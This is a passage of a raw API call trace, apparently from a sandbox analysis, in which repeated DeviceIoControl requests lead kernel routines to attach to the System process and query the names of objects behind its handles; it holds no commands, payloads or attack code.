ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.866] PsAcquireProcessExitSynchronization () returned 0x0 [0089.866] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.866] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0089.866] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.866] PsReleaseProcessExitSynchronization () returned 0x2 [0089.866] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.866] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.867] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.867] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.867] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f205e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0089.867] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.867] PsAcquireProcessExitSynchronization () returned 0x0 [0089.867] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.867] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0089.867] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.867] PsReleaseProcessExitSynchronization () returned 0x2 [0089.867] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.867] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.867] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.867] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.867] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f205e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0089.867] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.867] PsAcquireProcessExitSynchronization () returned 0x0 [0089.867] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.867] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a40, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0089.867] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.867] PsReleaseProcessExitSynchronization () returned 0x2 [0089.867] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.867] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.867] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.867] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.867] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f205e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0089.867] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.867] PsAcquireProcessExitSynchronization () returned 0x0 [0089.867] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.867] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a48, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0089.867] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.867] PsReleaseProcessExitSynchronization () returned 0x2 [0089.867] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.867] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.867] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.867] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.868] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.868] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.868] PsAcquireProcessExitSynchronization () returned 0x0 [0089.868] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.868] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a4c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800258ec90, HandleInformation=0x0) returned 0x0 [0089.868] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.868] PsReleaseProcessExitSynchronization () returned 0x2 [0089.868] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.868] ObQueryNameString (in: Object=0xfffffa800258ec90, ObjectNameInfo=0xfffffa8003a24044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a24044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.868] ObfDereferenceObject (Object=0xfffffa800258ec90) returned 0x2 [0089.868] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.868] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.868] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.868] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f205e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0089.868] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.868] PsAcquireProcessExitSynchronization () returned 0x0 [0089.868] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.868] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a54, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0089.868] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.868] PsReleaseProcessExitSynchronization () returned 0x2 [0089.868] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.868] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.868] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.868] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.868] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.868] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.868] PsAcquireProcessExitSynchronization () returned 0x0 [0089.868] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.868] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a58, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800225bdc0, HandleInformation=0x0) returned 0x0 [0089.868] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.868] PsReleaseProcessExitSynchronization () returned 0x2 [0089.868] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.868] ObQueryNameString (in: Object=0xfffffa800225bdc0, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.868] ObfDereferenceObject (Object=0xfffffa800225bdc0) returned 0x2 [0089.868] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.869] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.869] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.869] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.869] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.869] PsAcquireProcessExitSynchronization () returned 0x0 [0089.869] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.869] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80038537e0, HandleInformation=0x0) returned 0x0 [0089.869] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.869] PsReleaseProcessExitSynchronization () returned 0x2 [0089.869] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.869] ObQueryNameString (in: Object=0xfffffa80038537e0, ObjectNameInfo=0xfffffa800398b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800398b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.869] ObfDereferenceObject (Object=0xfffffa80038537e0) returned 0x2 [0089.869] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.869] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.869] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.869] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.869] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.869] PsAcquireProcessExitSynchronization () returned 0x0 [0089.869] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.869] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a68, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003585790, HandleInformation=0x0) returned 0x0 [0089.869] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.869] PsReleaseProcessExitSynchronization () returned 0x2 [0089.869] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.869] ObQueryNameString (in: Object=0xfffffa8003585790, ObjectNameInfo=0xfffffa8003a21044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a21044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.869] ObfDereferenceObject (Object=0xfffffa8003585790) returned 0x2 [0089.869] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.869] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.869] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.869] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.869] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.869] PsAcquireProcessExitSynchronization () returned 0x0 [0089.869] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.869] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003853590, HandleInformation=0x0) returned 0x0 [0089.869] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.869] PsReleaseProcessExitSynchronization () returned 0x2 [0089.869] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.870] ObQueryNameString (in: Object=0xfffffa8003853590, ObjectNameInfo=0xfffffa8003a25044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a25044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.870] ObfDereferenceObject (Object=0xfffffa8003853590) returned 0x2 [0089.870] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.870] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.870] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.870] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.870] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.870] PsAcquireProcessExitSynchronization () returned 0x0 [0089.870] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.870] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003585050, HandleInformation=0x0) returned 0x0 [0089.870] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.870] PsReleaseProcessExitSynchronization () returned 0x2 [0089.870] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.870] ObQueryNameString (in: Object=0xfffffa8003585050, ObjectNameInfo=0xfffffa8003a77044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a77044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.870] ObfDereferenceObject (Object=0xfffffa8003585050) returned 0x2 [0089.870] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.870] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.870] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.870] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.870] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.870] PsAcquireProcessExitSynchronization () returned 0x0 [0089.870] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.870] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800231bdc0, HandleInformation=0x0) returned 0x0 [0089.870] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.870] PsReleaseProcessExitSynchronization () returned 0x2 [0089.870] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.870] ObQueryNameString (in: Object=0xfffffa800231bdc0, ObjectNameInfo=0xfffffa8003a78044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a78044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.870] ObfDereferenceObject (Object=0xfffffa800231bdc0) returned 0x2 [0089.870] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.870] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.870] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.870] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.870] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.870] PsAcquireProcessExitSynchronization () returned 0x0 [0089.870] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.871] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002891d10, HandleInformation=0x0) returned 0x0 [0089.871] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.871] PsReleaseProcessExitSynchronization () returned 0x2 [0089.871] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.871] ObQueryNameString (in: Object=0xfffffa8002891d10, ObjectNameInfo=0xfffffa8003a7a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7a044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.871] ObfDereferenceObject (Object=0xfffffa8002891d10) returned 0x2 [0089.871] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.871] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.871] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.871] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.871] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.871] PsAcquireProcessExitSynchronization () returned 0x0 [0089.871] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.871] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a8c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003b8bf20, HandleInformation=0x0) returned 0x0 [0089.871] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.871] PsReleaseProcessExitSynchronization () returned 0x2 [0089.871] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.871] ObQueryNameString (in: Object=0xfffffa8003b8bf20, ObjectNameInfo=0xfffffa8003a7b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.871] ObfDereferenceObject (Object=0xfffffa8003b8bf20) returned 0x2 [0089.871] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.871] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.871] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.871] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.871] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.871] PsAcquireProcessExitSynchronization () returned 0x0 [0089.871] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.871] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a94, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028915c0, HandleInformation=0x0) returned 0x0 [0089.871] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.871] PsReleaseProcessExitSynchronization () returned 0x2 [0089.871] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.871] ObQueryNameString (in: Object=0xfffffa80028915c0, ObjectNameInfo=0xfffffa8003a7c044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7c044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.871] ObfDereferenceObject (Object=0xfffffa80028915c0) returned 0x2 [0089.871] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.871] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.871] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.872] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.872] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.872] PsAcquireProcessExitSynchronization () returned 0x0 [0089.872] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.872] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80038cf9b0, HandleInformation=0x0) returned 0x0 [0089.872] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.872] PsReleaseProcessExitSynchronization () returned 0x2 [0089.872] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.926] ObQueryNameString (in: Object=0xfffffa80038cf9b0, ObjectNameInfo=0xfffffa8003a7d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.926] ObfDereferenceObject (Object=0xfffffa80038cf9b0) returned 0x2 [0089.926] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.926] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.926] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.926] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.926] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.926] PsAcquireProcessExitSynchronization () returned 0x0 [0089.926] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.926] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002849d20, HandleInformation=0x0) returned 0x0 [0089.926] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.928] PsReleaseProcessExitSynchronization () returned 0x2 [0089.930] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.930] ObQueryNameString (in: 